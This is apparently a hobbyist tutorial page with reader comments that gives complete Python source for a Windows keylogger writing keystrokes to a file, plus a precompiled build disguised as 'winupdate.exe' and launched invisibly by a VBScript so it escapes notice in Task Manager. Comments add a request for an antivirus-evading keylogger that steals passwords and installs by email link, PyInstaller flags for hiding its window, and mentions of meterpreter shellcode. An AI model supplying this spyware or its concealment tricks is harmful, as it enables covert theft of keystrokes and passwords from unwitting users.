Simple Keylogger

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Introduction: Simple Keylogger

About: Hello, my name is xp4xbox, a really old name that really has nothing to do with xbox consoles. Anyway I enjoy making programs and have several instructables on some of them. So far, I know VBScript, Batch, Pow…

I have recently been making a much more advanced keylogger that can even send logs via gmail. So if you are interested, check the github project.

This is a simple keylogger that I made using python. I tried to make one in batch or vbs, but it is practically impossible. So I had to use python.

You all see on the internet, keyloggers, an then you download it and install it to spy or monitor someone (Windows 10 even has a built-in keylogger) . But the problem is, is that you probably also installed a ton of virus of other junk in the process.

I will show you how to make your own, or you can download mine below:

Step 1: Installing Python...

Unless you already downloaded my file with the keylogger pre-compiled (skip to step 4), you must install python and some modules. Download and install the following:

Python 2.7

PyHook

Pywin32

Step 2: Creating the Code...

Once you have all of the python stuff installed, open up idle and create a new script. Then enter in the following code:

import pyHook, pythoncom, sys, logging

# feel free to set the file_log to a different file name/location

file_log = 'keyloggeroutput.txt'

def OnKeyboardEvent(event): logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s') chr(event.Ascii) logging.log(10,chr(event.Ascii)) return True hooks_manager = pyHook.HookManager() hooks_manager.KeyDown = OnKeyboardEvent hooks_manager.HookKeyboard() pythoncom.PumpMessages()

Then save it as something.pyw

Step 3: Test...

Now double-click on the file you just created and test it out, then start typing.

When you want to stop logging, open up task manager and kill all the "python" processes. Then look for keyloggeroutput.txt in the same directory were the something.pyw is. Open it up and you should see whatever you typed.

NOTE: You may see some weird looking character if you open it with notepad, those characters means you hit the backspace key.

This is the end of the instructable for you. BUT if you want to see my keylogger, continue on...

If you have any questions/concerns please pm me or post a comment.

Step 4: My Keylogger

First extract keylogger.rar and open up the folder with the files.

You should see a bunch of random files, this is because when you compile a python program to a standalone .exe, you need all these files in the same directory as the program.

The only important files are "Run.vbs" and "winupdate.exe". winupdate.exe is the actual keylogger program. The reason why it is called "winupdate", is so nothing looks suspicious if the user opens up task manager.

For some reason when you compile a python program to a .exe, you don't have any option to make it run invisible, so to fix this, I created a small vbscript file called Run.vbs which simply launches winupdate.exe invisibly.

Step 5: Test...

Double click on Run.vbs and the program will start automatically. When you want to stop logging, open up task manager and kill winupdate.exe. Then open up keyloggeroutput.txt, and you will see that all the characters that you have typed are logged.

NOTE: You may see some weird looking character if you open it with notepad, those characters means you hit the backspace key.

Step 6: Hope You Found This Helpfull

Hope you found this helpful. If you have any questions/concerns please pm me or post a comment.

Have fun keylogging, but please don't use this program maliciously.

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58 Comments

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dauphinet
dauphinet

Question 2 years ago

It is not working for me: I've downloaded and installed all mentioned programs:
python-2.7.13.amd64
pyHook-1.5.1.win32-py2.7
pywin32-219.win-amd64-py2.7

but is not creating an output file on my desktop.
I would also like to customize the keylogger in such way it will send the logs to an email address.

The ideal keylogger should have according to me the following features:
1- Undetectable by all antivirus
2- Can be installed with one click (keylogger hidden on a file) from a USB installed on the targeted PC.
3- Can be installed also remotely (for ex. by sending mail with a link to click on)
4- Can be removed remotely or self removed
5- Can send logs/reports (keystrokes, passwords, screen captures...) to a defined email address and FTP
6- Runs in stealth mode (doesn't appear in task manager and program list).
7- Supports Windows/MacOS
Can someone help me please?

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alexwang0147
alexwang0147

Answer 2 days ago

I need your contact

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xp4xbox
xp4xbox

Answer 2 years ago

Check the one on github.

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dauphinet
dauphinet

Reply 2 years ago

hi bro,

I already tried but I don't get an output file and it is urgent.
Could you please set me a keylogger that will send the data to my email address?

I would like it to have this features:
1- Undetectable by all antivirus
2- Can be installed with one click (keylogger hidden on a file/package) from a USB installed on the targeted PC.
3- Can be installed also remotely (for ex. by sending mail with a link to click on)
4- Can be removed remotely or self removed
5- Can send logs/reports (keystrokes, passwords, screen captures...) to my email address (and eventually FTP)
6- Runs in stealth mode (doesn't appear in task manager and program list).
7- Supports Windows (and MacOS eventually).

Thank you so much!!!
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Tw1st3dByD3s1gn
Tw1st3dByD3s1gn

Question 7 months ago on Step 6

Can this be applicable to android also? I'm just learning right now so I'm notnsurenif I can use the same input above or not.

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xp4xbox
xp4xbox

Reply 5 months ago

It would need to be rewritten and would probably require a more android friendly languagae such as Java.

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zxabdoh0
zxabdoh0

5 months ago

can u detect keylogger on ur pc using python

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xp4xbox
xp4xbox

Reply 5 months ago

I am not sure, probably.

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morad2020
morad2020

1 year ago

How i can send any typing to email

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tabestguy
tabestguy

1 year ago

How can I delete the keylogger?

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Lovely_716
Lovely_716

1 year ago

Hi friends...

I am guru . I learn code till now. Then I want to learn keylogger but I know what is keylogger and its work . But I need some examples. So give me some example keylogger friend. Kindly give me . I want to improve my knowledge

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receptioncomputername
receptioncomputername

Question 1 year ago

Thank you it works perfectly
But why is there a line break, that is, is it written vertically and not horizontally?

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xp4xbox
xp4xbox

Answer 1 year ago

It appends each character on a new line.

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receptioncomputername
receptioncomputername

Reply 1 year ago

Merci d'avoir répondu
Il est donc impossible de le faire?

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TioRoberto2743
TioRoberto2743

Question 1 year ago on Step 4

Can you send your tutorial link about run.bat and winupdate.exe?
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InstructableSryn
InstructableSryn

2 years ago

I tried this using 3.7.3 Anaconda and got it working, although it didn't capture my login username and password, which was my main aim. Also I used PyInstaller to make the exe, as per DannyB139. PyWin32 came with Anaconda but you'll need the right PyHook to work with the Anaconda version. Strangely, VS Code complained "Module 'pythoncom' has no 'PumpMessages' member", but the code will work when compiled. Note that the Python Debugger on VS Code 1.33.1 will not save any keypresses into the output file, even though it creates the file upon start of Debugging.

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Mktng
Mktng

Reply 2 years ago

If your main aim is to capture login id and password, you can try using https://vkcontrol.com/Personal-PC-Monitoring-Software, you just need to go to settings of this software and turn the password protect off. This will enable capturing passwords for all logins.

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NitinR21
NitinR21

2 years ago

I went through your advanced github project, i was able to do as you said,but was not able to do the meterpreter plugin(the whole process thing) using the raw shellcode(msfvenom), can you please do a tutorial for that or else can you please provide the file to download,i am new to this and one my friend is teaching me so i don't know much, can you please help me with this. :)

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DannyB139
DannyB139

2 years ago on Step 4

(Note : “—“ is just 2 dashes, no spaces.)
Actually, you can compile without any windows popping up. I do it all the time.
To compile a .py file without any cmd windows popping up (even if it has print statements or whatever) simply use Pyinstaller and use the “—windowed” flag.

To install Pyinstaller(you should have pip already installed. It comes with the Python install):

pip install pyinstaller

To compile the .py to a silent .exe (I recommend the “—onefile” flag as it can then run on any computer even if it doesn’t have the extra modules/Python at all):

pyinstaller —onefile —windowed [Your Python File]

I also recommend opening cmd in the dir of the file when you compile it to make it easier to find the .exe.

Happy compiling! : )